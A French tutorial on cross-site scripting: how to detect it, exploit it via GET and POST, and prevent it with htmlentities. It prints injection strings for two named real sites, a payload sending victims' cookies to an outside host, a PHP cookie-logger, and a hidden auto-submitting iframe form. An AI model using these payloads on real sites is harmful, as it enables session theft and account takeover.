Que sont les failles XSS ?
Introduction
Cross site scripting, abrégé XSS - pour ne pas être confondu avec Counter Strike Source Cascading Style Sheets (CSS) - est un type de faille de sécurité qu'on trouve assez souvent sur les sites internet.
Cette faille permet à n'importe qui d'injecter du code malveillant (souvent en langage JavaScript) dans une page du site pour le faire exécuter par le navigateur de la victime.
Risques d'une faille XSS
Comme vous pouvez le constater les risques sont multiples:
- Vol de cookies et de sessions (la plupart du temps pour usurper une identité)
- Propagation d'un virus (cf. Virus Samy de MySpace)
- Redirection de la page, souvent de manière transparente
- Phishing (hameçonnage)
- Plantage du navigateur, avec une boucle infinie par exemple, fork bomb etc
Comment déceler une faille XSS ?
Pour savoir si un site internet a un trou XSS il faut trouver un moyen d'injecter du code Javascript dans la page. La plupart du temps il suffit de vérifier que les caractères tels que les guillemets simples, doubles et les chevrons ne soient pas transformés en leur entité HTML à l'affichage de la page. Je dis bien la plupart du temps car il m'est arrivé de tomber sur un site où une variable GET était directement affichée entre les balises <script> (voir le deuxième exemple)
Voici deux exemples des sites ayant une faille XSS qui illustrent bien ce que je viens de dire. On peut injecter du JavaScript dans leurs champs de recherche:
- (Etudiants et développement) http://www.etudiantsetdeveloppement.org/
Exemple de code à injecter:<script>alert(document.cookie)</script> - (Ville de Lyon) http://www.lyon.fr/
Exemple de code à injecter:'; alert('Faille XSS détectée'); var unevar='
L'exploit d'une faille XSS
Théorie
Bien entendu, les deux exemples ci-dessus n'exploitent pas la faille car le script n'est exécuté que par votre navigateur.
Pour exécuter un script malveillant sur l'ordinateur de la victime l'attaquant a le choix:
- Soit les données non protégées sont directement insérées dans la BDD, dans ce cas il n'y rien à faire à part les soumettre et attendre que la victime exécute le script
- Soit les données non protégées sont accessibles depuis une méthode GET, dans ce cas il peut communiquer le lien piégé à la victime en utilisant souvent l'ingénierie sociale
- Soit les données non protégées sont accessibles depuis une méthode POST, dans ce cas l'attaquant peut faire soumettre à la victime un formulaire avec le code malveillant. La soumission peut se faire de manière transparente. Là encore il faut utiliser l'ingénierie sociale si la personne est ciblée
Comment créer une faille XSS ?
Supposons qu'une personne malveillante (appelons la John) veuille récupérer les cookies d'un site dont vous êtes webmaster.
Supposons que vous ayez développé un petit site avec un backoffice pour gérer le contenu et que malencontreusement vous ayez fait l'erreur suivante:
<h2 id="recherche">Rechercher...</h2> <form action="" method="get"><div> <input type="text" name="search" value="<?php if(isset($_GET['search'])) echo stripslashes($_GET['search']) ?>" /> <input type="submit" value="OK" /> </div></form>Note: J'ai utilisé la fonction stripslashes() en supposons que les magic quotes soient activées
Ceci est un formulaire contenant un champ de recherche. Lorsque vous faites une recherche, une variable nommée search se crée sur la page, elle contient le texte que le visiteur vient de taper. Pour plus d'accessibilité nous remettons le contenu recherché dans le champ de recherche.
En faisant cela on a créé une faille XSS parce qu'on ne convertit pas les entités HTML au niveau de l'affichage (l'endroit où les données non protégées sont affichées importe peu).
Comment exploiter une faille XSS ?
Pour exploiter la faille John peut vous piégez en vous envoyant un lien de votre site intégrant du code malveillant. Le script malveillant s'affichera dans le code source de votre page tel qu'il est sans être paralysé et John pourra donc y injecter du JavaScript.
Voici le code à injecter pour exploiter la faille ouverte ci-dessus:
bidule" />
<script>document.getElementById('recherche').style.background = "url('http://site-malveillant.com/xss/file.php?c="+ document.cookie +"')"</script>
<input type="hidden" name="a
- Ligne 1 et ligne 3, nous paralysons l'attribut value de la balise input
- Ligne 2, nous injectons du code JavaScript qui redirige les cookies de la victime vers le site malveillant de manière transparente
La victime ne se rend compte de rien, elle croit avoir fait une recherche sur le terme que le pirate lui a envoyé (ici bidule), mais au fait elle vient de se faire voler ses cookies.
Note: Seuls les cookies se référant au site sont volésTechniquement, le code JavaScript va appliquer une image de fond transparente à la <div> du formulaire. Cette image, il va aller la chercher sur un site externe en passant en paramètre les cookies du visiteur.
Voyons maintenant comment John récupère vos cookies. Voici un exemple de code source de la page file.php à laquelle le script fait appel:
<?php
$filename = 'cookies.txt';
if(isset($_GET["c"])) { //c comme Cookie
@file_put_contents($filename, date("\L\e d/m/y \a H\h i\m s\s > "). $_GET["c"] .
"\r\n", FILE_APPEND | LOCK_EX);
@mail('prenom@monsite.com', 'XSS', 'Le poisson a mordu !');
}
header ("Content-type: image/gif");
$img = imagecreate(1, 1);
$color = imagecolorallocate($img, 255, 255, 255);
$transparent = imagecolortransparent($img, $color);
imagegif($img);
?>
- Ce script enregistre les cookies passés en paramètre dans un fichier texte que John peut consulter
- Un mail est envoyé à John dès que le script est exécuté
- Enfin, la page renvoi une image transparente de 1px² qui sera appliquée à la propriété CSS background de l'id "recherche"
Exemple de résultat du fichier cookies.txt après exécution du script
Le 29/07/09 a 13h 26m 07s > login=Gerard; password=r6AAQng0 Le 29/07/09 a 13h 28m 15s > login=admin; password=Qfg56dzeT
Il ne suffit à John qu'à reforger les cookies avec leurs valeurs et le nom de domaine du site pour accéder au backoffice. Pour ce genre d'opérations des plugins Firefox existent.
Exploiter une faille XSS via la méthode POST
Jusqu'ici nous avons vu comment s'exploite une faille XSS via la méthode GET, mais si le formulaire précédent était en POST ?
Au lieu d'injecter le code directement dans l'adresse de la page, John va devoir faire soumettre un formulaire à la victime, avec la méthode POST.
Pour cela il va mettre en ligne une page html (ou deux si il est intelligent) avec le code suivant:
Note: Je ne me concentre que sur le code qui est entre les balises <body><form action="http://www.site-victime.com/recherche.php" method="post" name="form"> <div style="display:none"> <textarea name="search">bidule" /> <script>document.getElementById('recherche').style.background = "url('http://s-c.fr/xss/file.php?c="+ document.cookie +"')"</script> <input type="hidden" name="a</textarea> <input type="submit" value="ok" /> </div> </form> <!-- Soumission automatique en JavaScript --> <script type="text/javascript">document.forms['form'].submit()</script>
Le code ci-dessus aura pour but de rediriger la victime sur son site en injectant du code JavaScript en POST
<h1>Bienvenue</h1> <p>Bla bla bla...</p> <!-- Iframe qui inclue le page ayant le code précédent --> <iframe src="iframe.html" width="0" height="0" scrolling="no" frameborder="0"></iframe>
Le code ci-dessus a pour but de dissimuler le page précédente a l'intérieur d'un contenu que John aura pris le soin de rédiger. De cette façon la soumission du formulaire sera faite de manière complètement transparente (autant dire que là vous êtes dans la ***** ^^)
Comment se protéger des failles XSS ?
Rien de plus simple, il suffit de substituer les caractères spéciaux à leurs valeurs html.
En PHP il existent des fonctions spécialement conçues. Je peux par exemple citer htmlentities ou encore htmlspecialchars.
function convert($code) {
return htmlentities($code, ENT_QUOTES, 'UTF-8');
}
Si vous êtes parano très très prudent, pensez à désactiver le JavaScript de votre navigateur, bien que cette solution soit un peu radicale...
Conclusion
Nous venons de faire un petit tout d'horizon sur les failles XSS. Je n'ai détaillé que plusieurs exemples tout en essayant d'être le plus clair et le plus complet possible mais vous avez, je l'espère, compris le principe. Sachez tout de même que beaucoup de développeurs pensent, à tort, que les failles XSS ne sont pas très importantes...




alert(‘test’);
Bien essayé